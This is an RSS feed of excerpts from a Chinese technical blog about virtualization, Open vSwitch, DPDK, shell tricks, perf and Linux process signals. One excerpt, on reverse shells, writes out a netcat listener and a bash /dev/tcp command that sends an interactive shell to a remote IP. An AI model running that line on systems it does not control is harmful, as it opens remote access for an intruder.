<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[sun172270102的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/sun172270102</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; sun172270102]]></copyright><item><title><![CDATA[qemu-kvm网络前后端feature协商]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/123803617</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/123803617</guid><author>sun172270102</author><pubDate>Wed, 06 Apr 2022 15:42:56 +0800</pubDate><description><![CDATA[整体框架介绍
启动虚拟机时，前后端网络会进行feature协商。前端指的是guest内部的驱动，后端指的是dpdk中的vhost-user。但guest驱动不能直接和vhost_user协商，中间需要通过qemu这个中介。如下图：
![在这里插入图片描述](https://img-blog.csdnimg.cn/335d4c7e5b50415289ee17f3eb8c485f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,te]]></description><category></category></item><item><title><![CDATA[qemu编译使用]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/123738039</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/123738039</guid><author>sun172270102</author><pubDate>Mon, 28 Mar 2022 15:17:30 +0800</pubDate><description><![CDATA[环境：ubuntu20-server
编译
1、安装依赖
1）、安装python3.7；
2）、源码编译安装re2c；
3）、安装ninja-build， sudo apt-get install ninja-build;
4）、安装gettext、libglib2.0-dev, sudo apt-get install gettext、libglib2.0-dev;
5）、安装pkg-config；
2、静态编译
源码下载：https://download.qemu.org/
./configure --]]></description><category></category></item><item><title><![CDATA[virtio-net入门]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/123776935</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/123776935</guid><author>sun172270102</author><pubDate>Sun, 27 Mar 2022 17:50:32 +0800</pubDate><description><![CDATA[io虚拟化
    计算机系统中，主要有计算资源，存储资源和网络资源。所以，系统虚拟化技术又可以细分为计算虚拟化，存储虚拟化和网络虚拟化。其中存储设备和网络设备一般都是以外设的形式和CPU通过I/O总线连接起来的，所以存储虚拟化和网络虚拟化又可以统一归类为I/O虚拟化技术。

I/O虚拟化技术可以分成两种，一种是全虚拟化，另外一种是半虚拟化。
全虚拟化：Guest OS不知道自己是虚拟机，所以也就不需要修改Guest OS的驱动程序。这样Guest OS移植性好，但是虚拟机的I/O性能不高。
半虚拟化：Gu]]></description><category></category></item><item><title><![CDATA[记一次ubuntu20磁盘扩容]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/121104978</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/121104978</guid><author>sun172270102</author><pubDate>Tue, 02 Nov 2021 17:43:53 +0800</pubDate><description><![CDATA[前置：
确认磁盘是MBR分区还是GPT分区，本文仅使用与MBR分区。
fdisk -lu /dev/vdb中type或者system字段为linux即为MBR分区，GPT则为GPT分区；
1、修改分区表
1.1、记录旧分区的起始和结束位置：
Device Boot Start End Blocks Id System
/dev/vdb1 2048 41943039 20970496 83 Linux

查看挂载信息：
lsblk | grep “/dev/vdb1”
或者mount |grep “dev/v]]></description><category></category></item><item><title><![CDATA[ovs测试用例解析]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/120743841</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/120743841</guid><author>sun172270102</author><pubDate>Sat, 16 Oct 2021 11:25:31 +0800</pubDate><description><![CDATA[Autotest 提供了一个测试套件生成框架，基于 m4 宏构建一个可移植的 shell 脚本。ovs基于autotest测试框架实现了基础测试用例。

    从测试用例at文件到生成可执行shell脚本的过程：



autom4te是autoconf提供的工具。

    测试用例执行过程：







autotest基础语法：

    参照：Writing Testsuites - Autoconf

— Macro:...]]></description><category></category></item><item><title><![CDATA[OVS测试]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/120646363</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/120646363</guid><author>sun172270102</author><pubDate>Sat, 09 Oct 2021 17:37:33 +0800</pubDate><description><![CDATA[Testing

    使用open vswitch和各种第三方提供的工具来测试open vswitch。

内置工具

    open vswitch提供各种不同的测试套件和其他测试工具来验证ovs的基础功能。执行测试前必须要参照官方文档编译、配置和启动open vswitch。执行测试用例时不需要安装open vswitch或加载、编译内核模块，也不需要root权限。

单元测试

    Open vswitch包含了一套内部测试。提交patch之前，建议执行这些内部测试用...]]></description><category></category></item><item><title><![CDATA[ovs入门]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/120549453</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/120549453</guid><author>sun172270102</author><pubDate>Thu, 30 Sep 2021 16:11:13 +0800</pubDate><description><![CDATA[1、源码获取

http://www.openvswitch.org//download/

2、编译安装

以ubuntu20.04 server版为例。

1）安装依赖

sudo apt-get install gcc make cmake autoconf auto make libtool -y

2)编译安装

cdopenvswitch-2.13.4

sudo ./configure &amp;&amp; make &amp;&amp; make install

3、运行

modpro.]]></description><category></category></item><item><title><![CDATA[反弹shell]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/120287334</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/120287334</guid><author>sun172270102</author><pubDate>Thu, 16 Sep 2021 19:57:44 +0800</pubDate><description><![CDATA[1、nc + bash反弹

    1）远端监听shell

    nc -lnvvp 7777

    2)提供shell端反弹

        bash -i &amp;&gt; /dev/tcp/远端ip/7777 0&gt;&amp;1

    3）执行完如上步骤后，远端（监听端）可获得步骤2反弹出的shell交互窗口；

2、
...]]></description><category></category></item><item><title><![CDATA[常用一句话shell命令行]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/118599896</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/118599896</guid><author>sun172270102</author><pubDate>Fri, 09 Jul 2021 10:34:54 +0800</pubDate><description><![CDATA[1、一句话while循环

while :; do echo `data`;sleep 0.5;done

2、输出毫秒级时间

date +%Y-%m-%d ' '%H:%M:%S.%N | cut -b 1-23

3、awk命令解析shell输出

awk '{print $1,$2}'

4、排除特定目录或文件

ls | grep -v "filea \| fileb"

5、shell字符串分割

cat xxx | awk -F "-" '{print $2}'

6、xargs传参

把前序]]></description><category></category></item><item><title><![CDATA[H323场景电话场景验证]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/115934465</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/115934465</guid><author>sun172270102</author><pubDate>Wed, 21 Apr 2021 09:35:33 +0800</pubDate><description><![CDATA[验证拓扑
pc1（1001）                                                                          GNUGK服务器（10.10.11.12）
ip：10.20.11.200/24 --------------------|                                          |
|----eth2(10.20.11.1)-----|    |  eth5（10.10.11.1）          pc]]></description><category></category></item><item><title><![CDATA[win&linux端口转发使用]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/115319175</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/115319175</guid><author>sun172270102</author><pubDate>Tue, 30 Mar 2021 10:48:56 +0800</pubDate><description><![CDATA[应用场景：
    pc1&lt;----------------&gt;pc2

211.20.3.1         172.36.56.2
pc1可以与外网互通，pc2在内网，与外网不通，但pc1和pc2可以互通；
需求：通过pc1访问pc2
pc1为windows
1、管理员权限打开cmd；
2、添加端口转发；
netsh interface portproxy add v4tov4 listenport=10022 connectaddress=172.36.56.2 connectport=22]]></description><category></category></item><item><title><![CDATA[dpdk示例程序l2fwd、l3fwd测试]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/115268523</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/115268523</guid><author>sun172270102</author><pubDate>Sun, 28 Mar 2021 18:27:58 +0800</pubDate><description><![CDATA[编译
l2fwd运行
拓扑
l3fwd运行
拓扑

]]></description><category></category></item><item><title><![CDATA[sed、awk、tr命令使用]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/114895733</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/114895733</guid><author>sun172270102</author><pubDate>Tue, 16 Mar 2021 19:23:39 +0800</pubDate><description><![CDATA[sed命令：
1、模糊匹配文件某行并替换内容
sed -i '/s/test1.*/要替换的内容/g' file.txt

awk命令：
1、以：为分隔符输出第三列
cat abc:test:hello | awk -F ":" '{print $3}'


]]></description><category></category></item><item><title><![CDATA[性能调试工具perf使用]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/114685617</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/114685617</guid><author>sun172270102</author><pubDate>Fri, 12 Mar 2021 09:23:34 +0800</pubDate><description><![CDATA[定位进程运行的cpu：
ps -o pid,psr,comm -p `pidof testd`

查看cpu1热点：
perf top -C 1

查看当前cpu的系统调用：
perf trace -C 1 --syscalls --call-graph dwarf

查看cache-misses：

]]></description><category></category></item><item><title><![CDATA[linux下cpu、内存、硬盘、网卡故障注入]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/114264715</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/114264715</guid><author>sun172270102</author><pubDate>Mon, 01 Mar 2021 20:51:26 +0800</pubDate><description><![CDATA[1、下载使用
软件下载路径：
https://github.com/chaosblade-io/chaosblade/releases/download/v0.9.0/chaosblade-0.9.0-linux-amd64.tar.gz
无需编译安装，解压即可使用。
1、cpu压力注入
帮助信息查看：
./blade create cpu --help
创建任务：
./blade create cpu fullload --cpu-list 0,1,2 --cpu-percent 90
{"code":2]]></description><category></category></item><item><title><![CDATA[进程出core相关]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/113714901</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/113714901</guid><author>sun172270102</author><pubDate>Sat, 06 Feb 2021 11:00:39 +0800</pubDate><description><![CDATA[可以导致出core的信号

不产生core文件的条件：
在下列条件下不产生core文件：
( a )进程是设置-用户-ID，而且当前用户并非程序文件的所有者；
( b )进程是设置-组-ID，而且当前用户并非该程序文件的组所有者；
a，b可以通过设置/proc/sys/kernel/suid_dumpable来改变，这样suid的也可以产生core文件
( c )用户没有写当前工作目录的许可权；
( d )文件太大。core文件的许可权(假定该文件在此之前并不存在)通常是用户读/写，组读和其他读。
利用GD]]></description><category></category></item><item><title><![CDATA[SIGKILL与SIGTERM的区别]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/112721973</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/112721973</guid><author>sun172270102</author><pubDate>Sat, 16 Jan 2021 19:01:24 +0800</pubDate><description><![CDATA[SIGTERM SIGKILL的区别
前者可以被阻塞、处理和忽略，但是后者不可以。KILL命令的默认不带参数发送的信号就是SIGTERM.让程序有好的退出。因为它可以被阻塞，所以有的进程不能被结束时，用kill发送后者信号，即可。即：kill -9 进程号。

BLOCKED
如果进程设置了SIGTERM可以被block，则进程处于block状态时无法被SIGTERM信号杀死。
    sigset_t blockSet, savedSigMask;
    sigemptyset(&amp;blockSe]]></description><category></category></item><item><title><![CDATA[fork之子进程随父进程死亡prctl]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/112721662</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/112721662</guid><author>sun172270102</author><pubDate>Sat, 16 Jan 2021 18:49:52 +0800</pubDate><description><![CDATA[利用prctl的PR_SET_PDEATHSIG属性设置父进程死亡时，发送给子进程的信号。
int pid;
pid = fork()
if (pid == 0) {
//子进程
//设置父进程死亡时自动给子进程发的信号
prctl(PR_SET_PDEATHSIG, SIGKILL)....

} else {
//父进程

}

相关属性如下：
PR_SET_PDEATHSIG (since Linux 2.1.57)
              Set  the  parent  death sign]]></description><category></category></item><item><title><![CDATA[杀死进程组内所有进程]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/112682556</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/112682556</guid><author>sun172270102</author><pubDate>Fri, 15 Jan 2021 20:07:07 +0800</pubDate><description><![CDATA[进程组
概念
    在 linux 中，进程不但有自己的 id 号，还会有一个组 id 号。我们把拥有相同组 id 号的进程的集合称为一个进程组。

发送信号给进程和进程组
使用 kill -n -pgid 可以将信号 n 发送到进程组 pgid 中的所有进程。例如命令 kill -9 -4115 表示杀死进程组 4115 中的所有进程
使用kill  -n pid 可以将信号n发送到指定pid进程。

进程组的生命周期
从进程组被创建开始，到组内所有进程终止或者离开。

进程组组长
进程组组长是进程组中]]></description><category></category></item><item><title><![CDATA[linux下terminal重命名方法]]></title><link>https://blog.youkuaiyun.com/sun172270102/article/details/111335317</link><guid>https://blog.youkuaiyun.com/sun172270102/article/details/111335317</guid><author>sun172270102</author><pubDate>Thu, 17 Dec 2020 21:09:32 +0800</pubDate><description><![CDATA[1、vim .bashrc后插入如下内容
function title() {
  if [[ -z "$ORIG" ]]; then
    ORIG=$PS1
  fi
  TITLE="\[\e]2;$*\a\]"
  PS1=${ORIG}${TITLE}
}


2、title命名
title 192.168.1.2

]]></description><category></category></item></channel></rss>